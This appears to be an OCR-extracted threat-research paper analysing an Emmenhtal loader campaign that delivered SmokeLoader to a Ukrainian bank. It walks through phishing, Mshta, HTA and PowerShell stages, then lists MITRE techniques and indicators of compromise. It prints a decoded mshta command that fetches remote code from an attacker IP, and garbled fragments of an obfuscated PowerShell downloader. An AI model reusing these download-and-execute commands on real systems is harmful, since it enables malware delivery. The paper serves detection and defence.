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ABSTRACT

Modern malware distribution is evolving, with commodity loaders transforming into sophisticated malware-as-a-service
(MaaS) platforms. One such loader, Emmenhtal, has emerged as a key player in financially motivated cybercrime. Initially
used to distribute infostealers like CryptBot and Lumma, recent campaigns indicate a strategic pivot, integrating
Emmenhtal with SmokeLoader, a well-established modular malware known for code injection, persistence, and stealthy
payload execution. The discovery of this new method remains largely unknown to the public.

This research dissects Emmenhtal’s evasive execution flow, its strategic abuse of living-off-the-land binaries and scripts
(LOLBAS, or LOLBIns) like Mshta and PowerShell for covert operation, and its growing significance in the MaaS landscape.

The primary focus of our research is the recent attack on First Ukrainian International Bank (pumb[.Jua), in which
Emmenhtal facilitated a multi-stage infection chain designed to bypass traditional security controls. The campaign began
with a phishing email with a 7-Zip archive attachment, which contained a bait PDF and a downloader shortcut, leading to
the retrieval of a malicious .Ink file. This .Ink file leveraged Mshta to execute a hidden HTA script embedded inside a
trojanized DCCW.exe binary, maintaining a stealthy footprint. The HTA script interprets embedded JavaScript, which then
launches an encoded PowerShell script. This PowerShell script is responsible for downloading and executing the
SmokeLoader payload.

By understanding Emmenhtal’s evolution and operational techniques, we will present how modern loaders are reshaping
the threat landscape and how we can refine detection and mitigation strategies.

INTRODUCTION

We observed a malicious campaign targeting First Ukrainian International Bank (pumb[.]ua) and noticed the usage of a
stealthy malware loader known as Emmenhtal [1] (sic! — this spelling references the HTA component of this loader,
hence the slightly unorthodox spelling ‘Emmenhtal’), also referred to as Peaklight [2]. This loader has been active since
early 2024 and is primarily used by financially motivated threat actors to distribute commodity infostealers such as
CryptBot and Lumma. In this campaign, we have observed that Emmenhtal loader has been chained together with the
SmokeLoader malware, allowing threat actors to leverage its modular capabilities for deploying additional malware
dynamically.

shellcode execution
( \ ( \ via
dovvvnloads from egecutes Mshta CallWindowProcA
File Server via PowerShell -t
Javascript downloads
and executes files via .NET

.URL
PowerShell putty1202.exe SMOKELOADER

web url shortcut

invoce1202.pdf
bait PDF file EMMENTHAL
embedded HTA script and —
Javascriptis interpreted via
Mshta

extract files

—
7z
—

Figure 1: Infection chain flow of SmokeLoader using Emmenhtal loader.

Stage 1: 7-Zip delivery

The infection chain starts with an email claiming to confirm that a payment has been made. Attached to the email is a .7z
archive file, named ‘ITnarixna_inctpykims.7z’ (which translates to ‘Payment_instruction’), designed to trick victims into
extracting and opening its contents.

In previous SmokeLoader campaigns, the threat actors exploited a 7-Zip zero-day vulnerability [3] to bypass security
checks using double-archived files, thus allowing malware execution. Although this campaign does not use the same
exploit, it shows the attackers’ continued use of archive-based evasion techniques to deliver malicious payloads.

5119.url

Figure 2: The .7z archive contains two files.
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s Get-Content 31 2 4 58117 84 B3bb.7z Zone.Identifier

Figure 3: The .7z archive also shows the threat actors shifting from the now fixed 7-Zip zero-day vulnerability.

Stage 2: Downloader

Once extracted, the .7z archive contains two files:
1. A bait PDF file designed to look like legitimate banking documents (Figure 4).
2. A PDF shortcut that will download a file from a remote server (Figure 5).

AKUIOHEPHE TOBAPUCTBO
) MO «MEPLIMIA YKPAHCKIAN MIPKHAPOLHWIA BAHK»
st B 04070, Yrpaina, M. Kuis, syn. AHapiiaceka, 4
Kop Gaxky (M®0O) 334851, koa €0PMNOY Gakky — 14282829
[PexBianTi paxyHky
Ha3asa 10pnau4HOT OCOOH [®OI Kanmukos Onekcin Bacunoosuy
04
IBAN UAG23348510000000026006245118
Ha3zsa barky AT «MYMB»
on banky (M®0) 334851

Nara thopmysannn: 19.04.2024

Figure 4: Bait PDF file displaying fake account details to make the attack more convincing.
When opened, the internet shortcut file attempts to retrieve an additional file from a file server:
file:\\194[.187[.]131[.]68[.]@80\Downloads\Document_main1.pdf.Ink

=
General Web Document  Securty Details Previous Versions

Y naixra_incTpykwia_LUAG233485100000000260062
:'33 _HCTRYKLAA_|

URL: | file:1 94.8?.31.63@30’\,D0wnIoads'\,Document_|

Shortcut key: | None |

Visits: Unknown

Change lcon...

oK Cancel

Figure 5: Internet shortcut downloading file:\\194/.]87[.]31].]68[.]@80\Downloads\Document _main1.pdf.Ink.
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Stage 3: PowerShell + Mshta downloader

b ]

Teminal Security Details Previous Versions
General Shorteut Options Font Layout Colars

@ Document_main1 pdf

Target type: Application

Target location: v1.0

Target: |mmmmxmmmmmm‘ replace ‘)" |

Startin: | |

Shortcut key |NDHE |

Bun Minimized =

Comment: | |

Open File Location Change Icon... Advanced...

oK Cancel Apply

Figure 6: Malicious .Ink using PowerShell and Mshta to download malicious executable.

Upon execution of the downloaded .Ink file, the attack chain exploits the Target field to execute Mshta via PowerShell. Mshta
(Microsoft HTML Application) is a built-in Windows tool used to execute HTML applications and scripts (.HTA files). In this
case, the legitimate Mshta file was used by the malware to download and execute another binary sample with malicious HTA
script from a remote file server. This is a common LOLBAS technique, using legitimate applications such as utility tools
present in the target computer thus leaving less to no footprint and allowing fileless execution and minimal visibility.

Notably, the attack uses a modified version of DCCW.exe, which is the built-in Windows utility Display Color Calibration
Wizard. The attackers modified DCCW.exe to act as a loader for the malicious script, making the attack look more like
legitimate activity.

C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe . ([char]l05+[char]101+[char]120) ('m##s#hftifat
FEhAFCCH e S /4 /S H L1 F L0244 L Lok S H /i Had L F L H 44220/ mb b Fad idnd 4 L4 #E " —replace "#')"

Figure 7: Encoded PowerShell command line.

‘L iex mshta http://88.151.192.165/mainl220/mainl

Figure 8: Decoded command.

Stage 4: Emmenhtal loader

Clean DCCW binary

Clean DCCW binary

HTA SCRIPT
DCCW.exe
Clean DCCW binary
MALICIOUS JS

Modified DCCW.exe

Clean DCCW binary

1 MALICIOUS JS |

Clean DCCW binary

Figure 9: Overview of the Windows binary DCCW.exe embedded with four identical DCCW files embedded with malicious
HTA header and JavaScript.
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The Emmenhtal loader [4] plays a key role in deploying SmokeLoader while maintaining a stealthy execution flow. The
HTA script runs with the following configuration:

* Application caption: No

* Window state: Minimize

¢ Show in taskbar: No
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Figure 10: Malicious HTA header.

Upon execution from Mshta, it will interpret the first malicious JavaScript embedded just below the third DCCW code.
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Figure 11: First malicious JavaScript.

Mshta will also interpret the second embedded JavaScript, which will trigger the execution of the hidden loaded payload
variable from the first JavaScript.
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Figure 12: JavaScript containing the eval(erc) execution.

The executed variable (erc) contains another charCode encoded text/script, which is executed via wscript shell.

fanotion mhl(les)(

var Xgs= "";
for (var xNa =
Xgs = Xgs + Wac

)
return Xgs
)

var BAb = mhl([

aNa < leS.length; xNas+)

var Wqc = String.fromCharCode (les[xNa) -

)

Figure 13: Decoded JavaScript variable (erc).

The decoded script leads to the execution of another encoded PowerShell script with the following visible PowerShell
command:
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» -w 1: Starts PowerShell in a hidden window (1 minimizes the window).
» -ep Unrestricted: Sets the execution policy to Unrestricted, allowing all scripts to run.

* -nop: No profile loading, reducing execution time and avoiding detection.

[

powershell.exe -w -ep Unrestricted -nop $ydbF

y \EC I y ‘ \ \ I )ED 1 ) f FIFT y ' ;function mJf (
$Y1hBsHB) {-join (($Y1lhBsHB -replace '..',' 36 ') -split ' ' | % {[char]([int]$§_-100)})};$EItEpmMZ = mJf ($ydbF) ;& $EItEpmMZ
.Substring(4,3) $EItEpmMZ.Substring(7)

Figure 14: Encoded PowerShell script.

The decoded PowerShell script leads into the downloader function. It checks for the existence of two files, invoce1202.pdf
and putty1202.exe, in the user’s AppData directory. If found, it executes them; otherwise, it attempts to download new
versions using an obfuscated WebClient object.

finction mJf (§GLv, $bgl) {sc $GLv $bgl -Encoding Byte};

function rQH($GLv) {start $GLv };

8function uCs ($yqn) {$kWe = New-Object (oUB @(102,125,140,70,111,125,122,91,132, s 12558 ,140)) ;
{$bgl = $kWe.DownloadData ($yqn) ;

return $bgl};

function oUB($NzI){ ($NzI |%{ [charl($_ - 24) }) -join "'}

=function EHb () {$sbj = $env:AppData + "\';

$FMg= $env:AppData;
$UEO = $FMg + '\i
If (Test-Path $UEO) {ii $UEO,

)Else($nsW=uC5(oUB@(, ’ ’ .82,71,71,80,80,70,73,77,13,70,73,81,74,70,73,78,177,11,
SR ek . 126)) ;

mJf $UEO $nsW;
ii $UEO;
Y

i

$pPYJsc‘I‘t $sbj + 'puttyl202.exe';

if (Test-Path $pPYJscTt)(rQH $pPYJscTt}Else($qungthuTPN‘BP—qu(DUE Q(l2s, v 136,82, T1,71.,80,80.,10,73, 7] 43,710,43,81,
f13,74,72,74,70, . 5)) ;

me $pPYJscTt $qungleuTPN‘BP,

rQH $pPYJscTt};

}EHb;

Figure 15: Encoded PowerShell downloader function.

| [ip.addr == 88.151.192.165

MNo. Time Source Destination Pratocol Lengtl Info
3.223617 172.16.148.159 B8.151.192.165 TCP 66 61295 + B8 [SYN] Seq=6 Win=64248 Len=8 MS5=1466 WS=256 SACK_PERM

175 54.411208 172,16.148.159 B88.151.192,165

Figure 16: Wireshark packet capture of the malware attempting to connect to IP 88/.]151[.]192[.]165.

Related activities from the IP 88[.]151[.]192[.]165 are also observed in Blustealer and Lumma [5].

Finally, we reach the downloading of two files. These two files suggest a phishing or social engineering component, where
a seemingly harmless PDF or executable is used to deploy additional malware:

1. invocel202.pdf — lure PDF
2. putty1202.exe — SmokeLoader malware

PS5 bl G R S » oUB @(102,125,140,79,111,125,122,91,132,129,125,134,148)
Net. Hn:bfl:lent
PS Conighi enadanmmle) ollB @(128,140,140,136,82,71,71,80,80,70,73,77,73,78,73,8

3,148,140 ,136,82,71,71,88,80,78,73,77,73,78,73,§

Figure 17: Download strings for the lure PDF and SmokeLoader malware.




EMMENHTAL LOADER: THE SILENT ENABLER OF MODERN MALWARE CAMPAIGNS

Stage 5: SmokeLoader

Analysis of the downloaded binary (Figures 18, 19 and 20) indicates that the file is SmokeLoader malware. Aside from
being a well-known loader, SmokeLoader is also a modular malware that has various capabilities such as:

+ Downloading and executing additional malware

* Stealing credentials from browsers and system memory

» Executing remote commands from its command-and-control (C2) server
» Evading detection by injecting itself into legitimate processes

* Anti-analysis and anti-debugging techniques
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Figure 18: Decrypted code showing SmokeLoader s anti-analysis strings.

~ PE32
Operation system: Windows(95)[1386, 32-bit, GUI]
Linker: Microsoft Linker
Language: MSIL/C#
Library: .NET Framework(v4.7.2, CLR v4.0.30319)
Protector: .NET Reactor(6.X)[Control Flow]
(Heur)Protection: Obfuscation[CLR constructor + Ctrl flow + Fake .cctor name + Math mutations]
(Heur)Packer: Compressed or packed data[Section 3 (".CODE") compressed]
- Debug data: Binary[Offset=0x8e99,Size=0x24]
Unknown: Unknown

Figure 19: PE identification of the SmokeLoader sample.

One notable technique observed in this SmokeLoader sample is the use of NET Reactor, a commercial .NET protection
tool used for obfuscation and packing. While SmokeLoader has historically leveraged packers like Themida, Enigma
Protector and custom crypters, the use of .NET Reactor aligns with trends seen in other malware families, particularly
stealers and loaders, due to its strong anti-analysis mechanisms.

» Samples » Sample Overview (#3258) » Dynamic Analysis Report (#6373)

Classifications

. Created 2 weeks ago
Downloader Injecior

Threat Names
SmokelLoader Gen:Variant. Razy 655877 outputty.exe
Windows Exe (x86-32)

Figure 20: VMRay result overview showing detection of a SmokeLoader malware configuration.
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CONCLUSION

The Emmenhtal loader is part of a current trend in malware development of leveraging LOLBAS techniques (PowerShell
and Mshta) — which attackers strongly favour since they enable fileless execution on the victim’s endpoint. Initially focused
on infostealers with the integration of CryptBot and Lumma stealer, this recent SmokeLoader integration allows
Emmenhtal’s operators to deploy secondary payloads while using advanced evasion techniques, code injection and
anti-analysis. The availability of these new feature-rich loaders that are offered through malware-as-a-service enables threat
actors to be more creative in customizing their attack chains.

To protect against attacks organizations should implement:
» Endpoint security and anti-virus solutions
* EDR/XDR solutions
* Network monitoring

 Zero-trust security.
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MITRE TTPs

Emmenhtal
» Application Layer Protocol: Web Protocols — T1071
+ Obfuscated Files or Information: Encrypted/Encoded File — T1027
* System Binary Proxy Execution: Mshta — T1218.005
* Command and Scripting Interpreter: PowerShell — T1059.001

SmokelLoader
* Hide Artifacts: NTFS File Attributes — T1564.004
+ Obfuscated Files or Information: Software Packing — T1045.002
* Process Discovery — T1057

10CS
Indicator Hash Detection
IP/URL 194[.187[.131[.]68 N/A
88[.J151[.]1192[.1165 N/A
7z archive ITnarixkHa IHCTPYKIHSA.7Z 3160da0602392474cceee22eb | Archive.Trojan.Agent.
a65eb3ce6f8117e3fd84c606386 | KQF7ZV
c92bfc863bb
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EMMENHTAL LOADER: THE SILENT ENABLER OF MODERN MALWARE CAMPAIGNS

Indicator Hash Detection
URL shortcut | [InarixxHa iHCTpYKIMS dd510900d091a35f0ef6d906be0 | Script. Trojan.Agent.
UA623348510000000026006245119.url | 87alae7969e3d75450cef475¢ela | UNVI6V
032736¢c20
LNK Document_mainl.pdf.Ink al706ec6772daa7a54c67117d5¢ | Win32.Trojan.
e7b5fd5285f6245ad08f46b3b41 | Agent.51JUUW
76a7f1e021
PDF Homatox_®OII_ITYMB.pdf 537aa3ebc2b1cb9d43793e000d
d5322ca780c7a274da5f46d505
4b09196e2ala
Invoce1202.pdf N/A
Emmenbhtal mainl ae64762d044f4b108f2{f820c07 | Win32.Trojan.Agent.
44d199c4c33616af17¢35¢3634 | XZVVIF
aef79c4e3ff
SmokeLoader | puttyl1202.exe 4ee62002f89dffa52405df9c082 | MSIL.Trojan.Agent.
cbad4d4dfa7de7a207cb3a3f37be | HXIKZ7
76ca6454c4
loaded binary ea3¢c8dbe0b30fb6dS5c68eb55454 | Win32.Trojan-
b2a9471e8e21abb4343306445b4 | Downloader.

905370f51c

SmokeLoader. 2722GT4




